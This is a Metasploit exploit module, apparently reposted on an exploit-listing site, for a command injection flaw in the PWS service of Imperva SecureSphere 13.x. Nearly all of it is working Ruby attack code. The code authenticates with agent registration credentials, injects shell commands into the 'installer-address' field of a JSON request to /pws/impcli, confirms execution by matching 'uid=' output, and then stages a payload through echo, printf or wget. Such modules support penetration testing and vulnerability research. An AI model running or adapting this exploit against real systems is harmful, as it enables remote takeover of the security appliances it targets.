ExploitFixes
Imperva SecureSphere 13.x - PWS Command Injection (Metasploit) 2019-03-07 19:05:06

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Imperva SecureSphere PWS Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in Imperva
SecureSphere 13.x. The vulnerability exists in the PWS service,
where Python CGIs didn't properly sanitize user supplied command
parameters and directly passes them to corresponding CLI utility,
leading to command injection. Agent registration credential is
required to exploit SecureSphere in gateway mode.

This module was successfully tested on Imperva SecureSphere 13.0/13.1/
13.2 in pre-ftl mode and unsealed gateway mode.
),
'License' => MSF_LICENSE,
'Author' =>
[
'rsp3ar <lukunming<at>gmail.com>' # Discovery/Metasploit Module
],
'References' =>
[
[ 'EDB', '45542' ]
],
'DisclosureDate' => "Oct 8 2018",
'DefaultOptions' => {
'SSL' => true,
'PrependFork' => true,
},
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => %w{ echo printf wget },
'Targets' =>
[
['Imperva SecureSphere 13.0/13.1/13.2', {}]
],
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [false, 'Agent registration username', 'imperva']),
OptString.new('PASSWORD', [false, 'Agent registration password', '']),
OptString.new('TARGETURI', [false, 'The URI path to impcli', '/pws/impcli']),
OptInt.new('TIMEOUT', [false, 'HTTP connection timeout', 15])
])
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end

def check
begin
res = execute_command('id')
rescue => e
vprint_error("#{e}")
return CheckCode::Unknown
end

if res.body =~ /uid=\d+/
return CheckCode::Vulnerable
end

CheckCode::Safe
end

def exploit
unless CheckCode::Vulnerable == check
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
end
print_warning 'Target does not appear to be vulnerable'
end

print_status("Sending payload #{datastore['PAYLOAD']}")
execute_cmdstager
end

def execute_command(cmd, opts = {})
data = {
'command' => 'impctl server status',
'parameters' => {
'broadcast' => true,
'installer-address' => "127.0.0.1 $(#{cmd})"
}
}

res = send_request data

return unless res

if res.code == 401
fail_with(Failure::NoAccess, 'Authorization Failure, valid agent registration credential is required')
end

unless res.code == 406 && res.body.include?("impctl")
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end

res
end

def send_request(data)
req_params = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => data.to_json
}

if !datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?
unless @cookie
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/')
})
unless res
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end

@cookie = res.get_cookies
end

req_params['cookie'] = @cookie
req_params['headers'] = {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
}
end

send_request_cgi(req_params, datastore['TIMEOUT'])
end
end